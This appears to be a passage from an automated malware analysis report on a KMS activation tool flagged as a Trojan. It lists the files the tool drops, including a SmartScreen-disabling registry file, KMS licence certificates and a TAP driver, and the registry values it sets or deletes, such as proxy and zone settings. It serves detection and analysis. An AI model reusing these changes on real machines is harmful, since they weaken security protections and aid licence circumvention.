C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ServerDatacenter\ServerDatacenter-Volume-GVLK-1-ul-oob-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\Publisher_KMS_Client.RAC_Pub.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioStd (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-VLKMS1-pl.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\client-issuance-bridge-office.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectPro_KMS_Client.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\SkypeforBusiness\SkypeforBusinessVL_KMS_Client-ppd.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPathVLRegWOW.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Professional (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectProVLReg32.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPro_KMS_Client.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-BYPASS-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Core\Core-Volume-GVLK-1-ul-oob-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\ProfessionalN\ProfessionalN-Volume-GVLK-1-ul-oob-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioStd_KMS_Client.RAC_Pub.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\pkeyconfig.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Publisher\LicenseSetData._00C79FF1_6850_443D_BF61_71CDE0DE305F.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\StandardVLReg64.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\Access_KMS_Client.RAC_Priv.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\Excel_KMS_Client.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Professional\Professional-Volume-GVLK-1-ul-oob-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Embedded\Security-SPP-Component-SKU-Embedded-VLBA-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Access\AccessVL_KMS_Client-ppd.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-BYPASS-RAC-public.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\WordVLReg32.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectStd\ProjectStdVL_KMS_Client-ppd.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\Access_KMS_Client.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Excel\ExcelVL_KMS_Client-ppd.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStd_KMS_Client.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\client-issuance-root.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Standard\StandardVL_KMS_Client-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ServerStandard\ServerStandard-Volume-GVLK-1-ul-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-VLKMS1-ul-phn.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\PublisherVLRegWOW.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Embedded\pkeyconfig-embedded.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasics_KMS_Client.RAC_Priv.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\verified.mp3 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Education (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectStd (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\PublisherVLReg64.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPointVLReg32.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\PowerPoint\LicenseSetData._8C762649_97D1_4953_AD27_B7E2C25B972E.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\CoreConnectedSingleLanguage\CoreConnectedSingleLanguage-Volume-GVLK-1-ul-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Core\Core-Volume-GVLK-1-ul-oob-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Outlook\OutlookVL_KMS_Client-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPrem_KMS_Client.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\Outlook_KMS_Client.RAC_Priv.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Word\LicenseSetData._D9F5B1C6_5386_495A_88F9_9AD6B41AC9B3.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\OneNote (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\Standard_KMS_Client.RAC_Pub.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\EnterpriseN (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Education\Education-Volume-GVLK-1-ul-oob-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\processing.mp3 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Core\Core-Volume-GVLK-1-ul-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\OneNote\OneNoteVL_KMS_Client-ppd.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectPro\ProjectProVL_KMS_Client-ppd.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Excel\ExcelVL_KMS_Client-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\KMSELDI.exe (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\inputok.mp3 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-KMS-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Enterprise\Enterprise-Volume-GVLK-1-ul-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Embedded\Security-SPP-Component-SKU-Embedded-VLBA-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\Word_KMS_Client.RAC_Priv.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\driver\tap-windows-9.21.0.exe (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\PowerPoint\LicenseSetData._8C762649_97D1_4953_AD27_B7E2C25B972E.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStd_KMS_Client.RAC_Priv.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\__tmp_rar_sfx_access_check_5099329 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\complete.mp3 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\affirmative.mp3 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\CoreN\CoreN-Volume-GVLK-1-ul-oob-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioPro (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\SkypeforBusiness (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPath_KMS_Client.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\Word_KMS_Client.RAC_Pub.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\OneNote\LicenseSetData._EFE1F3E6_AEA2_4144_A208_32AA872B6545.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\diagnostic.mp3 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\OutlookVLReg64.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Publisher (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\ProfessionalWMC (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPrem_KMS_Client.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\driver\OpenVPN.cer (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStdVLRegWOW.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Enterprise (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Mondo (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\CoreSingleLanguage\CoreSingleLanguage-Volume-GVLK-1-ul-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\InfoPath\LicenseSetData._A30B8040_D68A_423F_B0B5_9CE292EA5A8F.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Core\Core-Volume-GVLK-1-ul-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\pkeyconfig.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\InfoPath\LicenseSetData._A30B8040_D68A_423F_B0B5_9CE292EA5A8F.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Access\AccessVL_KMS_Client-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectStd\LicenseSetData._427A28D1_D17C_4ABF_B717_32C780BA6F07.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\Word_KMS_Client.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProPlus\ProPlusVL_KMS_Client-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\Publisher_KMS_Client.RAC_Priv.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\ExcelVLRegWOW.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\inputfailed.mp3 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlus_KMS_Client.RAC_Pub.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Mondo\MondoVL_KMS_Client-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Mondo\MondoVL_KMS_Client-ppd.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\Publisher_KMS_Client.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlusVLReg32.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Outlook\OutlookVL_KMS_Client-ppd.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\driver\UnInstallDriver.cmd (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\OutlookVLRegWOW.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Access\AccessVL_KMS_Client_PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\Access_KMS_Client.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\Groove_KMS_Client.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Publisher (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProPlus (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\WordVLRegWOW.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioVLReg32.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Word\LicenseSetData._D9F5B1C6_5386_495A_88F9_9AD6B41AC9B3.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Excel\LicenseSetData._F7461D52_7C2B_43B2_8744_EA958E0BD09A.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\Outlook_KMS_Client.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlusVLRegWOW.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\ProfessionalWMC\ProfessionalWMC-Volume-GVLK-1-ul-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\Excel_KMS_Client.RAC_Pub.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\DisableSmartScreen.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStd_KMS_Client.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasics_KMS_Client.RAC_Pub.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Core\Core-Volume-GVLK-1-ul-oob-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Licenses.sl.ISSUANCE.CLIENT_ROOT.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProPlus\ProPlusVL_KMS_Client-ppd.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasicsVLReg32.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\AccessVLReg32.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Enterprise\Enterprise-Volume-GVLK-1-ul-oob-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPro_KMS_Client.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\StandardVLReg32.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\EmbeddedIndustry\EmbeddedIndustry-Volume-GVLK-1-ul-oob-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectPro_KMS_Client.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Access\AccessVL_KMS_Client_OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\EnterpriseS\EnterpriseS-Volume-GVLK-2-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\Outlook_KMS_Client.RAC_Pub.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Word (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPath_KMS_Client.RAC_Pub.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\PowerPoint (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\Groove_KMS_Client.PPDLIC.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Access\AccessVL_KMS_Client-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Enterprise\Enterprise-Volume-GVLK-1-ul-rtm.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioPro\VisioProVL_KMS_Client-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProPlus\proplus.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-VL-BYPASS-ul.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectPro\LicenseSetData._4A5D124A_E620_44BA_B6FF_658961B33B9A.PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Uninstall\EnableSmartScreen.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\ExcelVLReg32.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNoteVLRegWOW.reg (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\Groove_KMS_Client.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-KMS-ul-oob.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStd_KMS_Client.OOB.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Access\AccessVL_KMS_Client_PL.xrm-ms (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\Groove_KMS_Client.RAC_Pub.xrm-ms (0 bytes)

Registry activity

The process %original file name%.exe:816 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\DDECache\IExplore\WWW_OpenURL]
"WindowClassName" = "DDEMLMom"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1516896812"

[HKLM\SOFTWARE\Microsoft\Tracing\3e9688f2e302e06b243e7c573b601176_RASMANCS]
"MaxFileSize" = "1048576"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\DDECache\IExplore\WWW_OpenURL]
"processname" = "iexplore.exe"

[HKLM\SOFTWARE\Microsoft\Tracing\3e9688f2e302e06b243e7c573b601176_RASAPI32]
"FileTracingMask" = "4294901760"
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\3e9688f2e302e06b243e7c573b601176_RASMANCS]
"ConsoleTracingMask" = "4294901760"
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\3e9688f2e302e06b243e7c573b601176_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\3e9688f2e302e06b243e7c573b601176_RASMANCS]
"FileTracingMask" = "4294901760"
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\3e9688f2e302e06b243e7c573b601176_RASAPI32]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\3e9688f2e302e06b243e7c573b601176_RASMANCS]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 3D 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\3e9688f2e302e06b243e7c573b601176_RASAPI32]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "%original file name%.exe"

[HKLM\SOFTWARE\Microsoft\Tracing\3e9688f2e302e06b243e7c573b601176_RASAPI32]
"EnableConsoleTracing" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Internet Explorer\LowRegistry]
"AddToFavoritesInitialSelection"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Internet Explorer\LowRegistry]
"AddToFeedsInitialSelection"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process regedit.exe:2620 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Registration\{90140000-0011-0000-0000-0000000FF1CE}]
"WordNameVersion" = "Microsoft® Word 2010"

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Registration\{FDF3ECB9-B56F-43B2-A9B8-1B48B6BAE1A7}]
"ProductName" = "Microsoft Office Professional Plus 2010"

[HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Registration\{90140000-0011-0000-0000-0000000FF1CE}]
"GrooveName" = "Microsoft SharePoint Workspace"
"VisioSDKNameVersion" = "Microsoft® Visio® 2010 Software Development Kit (SDK)"
